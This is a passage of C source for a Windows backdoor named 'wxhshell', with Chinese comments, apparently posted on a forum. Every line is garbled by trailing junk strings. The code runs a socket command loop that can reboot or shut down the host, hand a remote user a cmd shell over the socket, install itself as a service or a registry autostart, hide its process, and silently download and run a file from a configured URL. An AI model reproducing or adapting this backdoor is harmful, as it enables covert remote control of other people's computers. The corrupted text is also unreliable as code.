      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !;lA+O-t  
    break; >4GhI65  
  } 7>xxur&  
  // 安装 N'Va&"&73>  
  case 'i': { rgILOtk[  
    if(Install()) n|NI]Qi*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wRf_IBhCd  
    else  1JgnuBX"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mB;W9[  
    break; <oV _EZ  
    } liFNJd`|o+  
  // 卸载 : Ey  
  case 'r': { Nt67Ye3;  
    if(Uninstall()) e.G&hJ r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sr x`" :  
    else wM(!9Ws3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^mFuZ~g;?  
    break; gqNd@tYI  
    } V'pNo&O=  
  // 显示 wxhshell 所在路径 iKV;>gF,)v  
  case 'p': { .{HU1/!  
    char svExeFile[MAX_PATH]; -"Lia!Q]M  
    strcpy(svExeFile,"\n\r"); n?@3R#4D3  
      strcat(svExeFile,ExeFile); '1ff|c!x9  
        send(wsh,svExeFile,strlen(svExeFile),0); fMwJwMT8  
    break; S4s\tA<  
    } /fA:Fnv  
  // 重启 m\U@L+L  
  case 'b': { ?nrd$,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^C>i(j&  
    if(Boot(REBOOT)) Lcplc"C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9C[3w[G~C  
    else { Zp@p9][C  
    closesocket(wsh); QpS0iUG  
    ExitThread(0); Kr=DoQ."d8  
    } v[CX-CBZ?  
    break; -x3QgDno  
    } B;N40d*W  
  // 关机 8~:qn@ Z|E  
  case 'd': { f'Wc_ L)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Po&gr@e.V  
    if(Boot(SHUTDOWN)) $J[h(>-X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOB9CsMe  
    else { 1>b kVA  
    closesocket(wsh); W>dS@;E  
    ExitThread(0); 4a>z]&s  
    } !OPK?7   
    break; $q DH  
    } ho#] ?Z#  
  // 获取shell B^U5= L[:p  
  case 's': { Ha$|9li`  
    CmdShell(wsh); ?ZdHuuDN~  
    closesocket(wsh); f!P.=Qo[=  
    ExitThread(0); "My \&0-  
    break; KmZUDU%R  
  } >2Al+m<w  
  // 退出 CcgCKT  
  case 'x': { =/.[&DG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U?>P6p  
    CloseIt(wsh); !-x^b.${B  
    break; VyCBJK  
    } .zlUN0oe  
  // 离开 ; z:}OD  
  case 'q': { :Ff1Js(Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -#3B>VY  
    closesocket(wsh); 0Z2![n  
    WSACleanup(); Gi]Pwo${  
    exit(1); dQ`ch~HVUW  
    break; Il'+^u_ <  
        } /,2Em>  
  } iK(n'X5i  
  } Mh>^~;  
|w6:mtaS  
  // 提示信息 +H/^RvUjF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !s\-i6S>  
} @`$8rck`  
  } Eo)Q> AM  
~8`r.1aUO  
  return; e_g7E+6  
} *M/3 1qI  
FlD !?  
// shell模块句柄 Wh(V?!^@5  
int CmdShell(SOCKET sock) 2<fG= I8  
{ ?b2"~A  
STARTUPINFO si; r@"Vbq%  
ZeroMemory(&si,sizeof(si)); Nk86Y2h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z^{VqC*o+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n8A*Y3~R  
PROCESS_INFORMATION ProcessInfo; +_06{7@h  
char cmdline[]="cmd"; B2 Tp;)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1A< O Z>  
  return 0; z]=A3!H/Y  
} /0!6;PC<  
50l=B]M  
// 自身启动模式 ~k+-))pf  
int StartFromService(void) [#)-F_S  
{ |6"zIHvtc  
typedef struct vxZvK0b620  
{ 'RTz*CSZ  
  DWORD ExitStatus; ZR6KE_  
  DWORD PebBaseAddress; &0K H00l  
  DWORD AffinityMask; 4B-v\3Ff  
  DWORD BasePriority; j?g{*M  
  ULONG UniqueProcessId; wCkhE,#-_  
  ULONG InheritedFromUniqueProcessId; JDD(e_dw  
}   PROCESS_BASIC_INFORMATION; dW,$yH_  
opjrU$<]N  
PROCNTQSIP NtQueryInformationProcess; \.9-:\'(  
%z`bu2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <{3VK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :I+%v  
fHb0pp\[.  
  HANDLE             hProcess; Y=x]'3}^  
  PROCESS_BASIC_INFORMATION pbi; 7zgU>$i  
[FAoC3 k-h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?%iAkV  
  if(NULL == hInst ) return 0; &( b\jyf  
wP+wA}SN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BB|w-W=Kd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U:#9!J?41  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mUm9[X~'  
@;G}bYq^(I  
  if (!NtQueryInformationProcess) return 0; Tr(w~et  
3E+u)f lmB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :p=IZY  
  if(!hProcess) return 0; gK9@-e  
jQj`GnN|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ds4ERe /  
71@V|$Dy  
  CloseHandle(hProcess); +smPR  
^$6EO) <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]gQgNn?  
if(hProcess==NULL) return 0; yg5Ik{  
Xi6XV3G  
HMODULE hMod; |bO}|X  
char procName[255]; S$=])^dur  
unsigned long cbNeeded; 7-'!XD!  
b9%hzD,MR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A>bo Xcr  
]}w ~fjq  
  CloseHandle(hProcess); {Tm31f(oD  
](aXZ<,  
if(strstr(procName,"services")) return 1; // 以服务启动 DdN{=}A  
0%cbno@1V  
  return 0; // 注册表启动 <I&X[Sqp  
} ?Sh]m/WZd[  
=xw) [  
// 主模块 54-sb~]  
int StartWxhshell(LPSTR lpCmdLine) E-MEMran4  
{ 2Rc#{A  
  SOCKET wsl; Oq|RMl  
BOOL val=TRUE; ("}TW-r~  
  int port=0; }(hx$G^M  
  struct sockaddr_in door; 2x"&8Bg3  
KWLI7fTgj$  
  if(wscfg.ws_autoins) Install(); 7Fh%jRHZ`  
G9 ;X=c  
port=atoi(lpCmdLine); \{\*h/m  
MIsjTKE  
if(port<=0) port=wscfg.ws_port; q#xoM1  
GASDkVoij  
  WSADATA data; $GSn#} yz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^Cst4=:W  
!.?2zp~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3T'9_v[Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JpcG5gX^B  
  door.sin_family = AF_INET; }Cvf[H1+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7ykpDl^@  
  door.sin_port = htons(port); Z_zN:BJ8L  
%u, H2 *  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ovq-rI{  
closesocket(wsl); A% -*M 'J  
return 1; z|Q)^  
} }G]6Rip 3  
#e}Q|pF  
  if(listen(wsl,2) == INVALID_SOCKET) { $>hPB[[  
closesocket(wsl); u<!8dQ8  
return 1; +4Aj/$%[q  
} N<zD<q  
  Wxhshell(wsl); *Ew`Fm H  
  WSACleanup(); (oBvpFP33  
NoB)tAvw  
return 0; jL8.*pfv  
az*c0Z<pl  
} D{x'k2=  
%c<e`P;  
// 以NT服务方式启动 <~X4&E]rT_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,6=j'j1#a  
{ M2W4 RovfR  
DWORD   status = 0; z\]]d?d?;  
  DWORD   specificError = 0xfffffff; 7 y5`YJ}!  
G|H+ ,B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; --6C>iY[&u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3+%a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S1p 4.qJ  
  serviceStatus.dwWin32ExitCode     = 0; [_Fj2nb*  
  serviceStatus.dwServiceSpecificExitCode = 0; <U%4$83$  
  serviceStatus.dwCheckPoint       = 0; U>H"N1  
  serviceStatus.dwWaitHint       = 0; r7+"i9  
j^;f {0f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Za_w@o  
  if (hServiceStatusHandle==0) return; _ I"}3*  
K| %.mc s4  
status = GetLastError(); y-6k<RN  
  if (status!=NO_ERROR) Q'5]E{1<'n  
{ O`j1~o<{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lp.dF)C\  
    serviceStatus.dwCheckPoint       = 0; "Rr)1x7  
    serviceStatus.dwWaitHint       = 0; w<#/ngI2  
    serviceStatus.dwWin32ExitCode     = status; " R!,5HQF;  
    serviceStatus.dwServiceSpecificExitCode = specificError; T1%_sq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "yJFb=Xdq  
    return; L1ro\H  
  } \f\ CK@  
o-a\T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d0``:  
  serviceStatus.dwCheckPoint       = 0; a> qB k})  
  serviceStatus.dwWaitHint       = 0; [U'I3x,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f8E,.$>  
} h]T  
0`UI^Y~Q  
// 处理NT服务事件,比如:启动、停止 I!1|);li  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _zt)c!  
{ OIJNOuI  
switch(fdwControl)  PgI H(  
{ Iz^h| n  
case SERVICE_CONTROL_STOP: 6i'GM`>w  
  serviceStatus.dwWin32ExitCode = 0; o1lhVM`15  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ) rw!. )  
  serviceStatus.dwCheckPoint   = 0; xs,,)jF(u  
  serviceStatus.dwWaitHint     = 0; CoZOKRoaH  
  { o]/*YaB2>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >n$V1U&/  
  } VJbsM1y M  
  return; !-rG1VI_S*  
case SERVICE_CONTROL_PAUSE: mO<1&{qMZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y/i{6P2`,D  
  break;  B0 E`C  
case SERVICE_CONTROL_CONTINUE: c(Ws3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?, B4  
  break; K Q^CiX  
case SERVICE_CONTROL_INTERROGATE: F3nYMf  
  break; j/ [V<  
}; SG \6qE~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *).u:>D4  
} Qe4O N3X!  
wtM1gYl^  
// 标准应用程序主函数 3qf?n5 "8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 41uiW,  
{ K}|zKTh:?  
ES,T[  
// 获取操作系统版本 w3Lr~_j  
OsIsNt=GetOsVer(); {,aX|*1Ku~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]QC9y:3  
&fofFVQnW  
  // 从命令行安装 W{U z#o  
  if(strpbrk(lpCmdLine,"iI")) Install(); qofD@\-  
QNbV=*F?  
  // 下载执行文件 Ls<^z@I  
if(wscfg.ws_downexe) { \!LIqqX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /U26IbJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); )iX2r{  
} U}T{r%9  
moS0y?N  
if(!OsIsNt) { QjOO^6Fh  
// 如果时win9x,隐藏进程并且设置为注册表启动 QL]e<2oPJ  
HideProc(); "w&IO}j;=  
StartWxhshell(lpCmdLine); 9*Q6/?v  
} 9$k0  
else ~Y/:]&wF  
  if(StartFromService()) OEw#;l4 C  
  // 以服务方式启动 {ty)2  
  StartServiceCtrlDispatcher(DispatchTable); .jUM'; l  
else rjK]zD9  
  // 普通方式启动 )E|{.K  
  StartWxhshell(lpCmdLine); H2lQ(Y+H  
r[g  
return 0; xO[V>Ud  
}
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只看该作者 1 发表于: 2006-10-10
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